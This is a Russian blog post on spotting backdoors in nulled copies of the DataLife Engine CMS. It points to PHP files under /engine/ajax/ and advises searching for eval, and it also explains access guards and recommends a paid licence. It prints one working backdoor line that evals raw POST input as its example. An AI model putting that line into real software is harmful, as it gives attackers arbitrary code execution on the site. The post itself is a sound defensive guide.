Защита от возможных бэкдоров в DLE нуллах для DLE

Защита от возможных бэкдоров в DLE нуллах

Защита от возможных бэкдоров в DLE нуллах

Как ни прискорбно, но DLE сечас нулят практически все кому не лень. Но помимо нулла, некоторые нулерята любят добавлять бэкдор в движок, для своих нехороших целей. Я бы хотел описать один из возможных мест расположения бэкдора, и как проверять - есть бэкдор или нет.
Первый и самый наилучший способ - купить лицензию и спать спокойно. Хотя лично я все равно не гарантирую полной безопасности. Даже если предположить, что DLE 100% обезопасен, все равно есть способы навредить вам. Эти способы я описывать не буду, чтобы наши молодые "школьные хацкеры" не забивали себе голову.

Второй способ по надежности практически не уступает первому. Если вы уже грешите пользуясь нулленым движком, то качайте его с одного и того же проверенного источника (автора). Однако все равно я бы проверял файлы даже в этом случае.
В некоторых случаях даже на проверенных сайтах может быть выложена версия с бэкдором, админы не всегда в состянии проверять все, что выкладывается на сайте. Будте бдительны и осторожны.

А теперь немного о бэкдорах.
Я не буду описывать что такое бэкдор, думаю и все это прекрасно знают. А вот как его найти, это сейчас и будем рассматривать.
Практически всегда бэкдоры вставляются в php файлах в папке /engine/ajax/
Найти его элементарно, просто ищите в тексте совпадение слова: eval
Пример бэкдора:

if($_POST['text']!=''){eval(stripcslashes($_POST['text']));}

где операнд для выполнения кода:
eval()

Таким способом можно легко выполнить любой php код включая выполнение запросов в БД, а там уже на что хватит фантазии проказника.

Еще бэкдор может быть расположен в любом другом php файле, но если выполнено одно из нижеследующих условий - даже если бэкдор в файле и есть, то он бесполезен.
1. В папке в php файлом есть файл .htaccess с содержимым:
Order Deny,Allow
Deny from all

Эти две строки запрещают доступ к этим файлам на прямую, через адресную строку. Например, попробуйте обратиться на прямую в файлам кэша.
2. Если в php файле есть блок:
if( ! defined( 'DATALIFEENGINE' ) ) {
    die( "Hacking attempt!" );
}

Эти строки так же не позволяет прямое обращение к файлу на выполнение. Но переменная DATALIFEENGINE задается во всех php файлах из папки engine/ajax, поэтому бэкдоры размещаются чаще всего там.

Но не бойтесь, если встретите eval в javascript файле, так его использование вполне безопасно.

И в заключение добавлю. Пользуйтесь лицензионными версиями, не жадничайте. На хорошем портале - за 2-3 месяца окупится. Зато лицензия - это не кот в мешке, надежность значительно выше будет.

С Уважением,
Олег Александрович a.k.a Sander.
Добавить комментарий
  • Логин
  • E-mail
Повторите рисунок:
antibot
© Sander-Development. 2009-2018.
При копировании, ссылка на источник обязательна.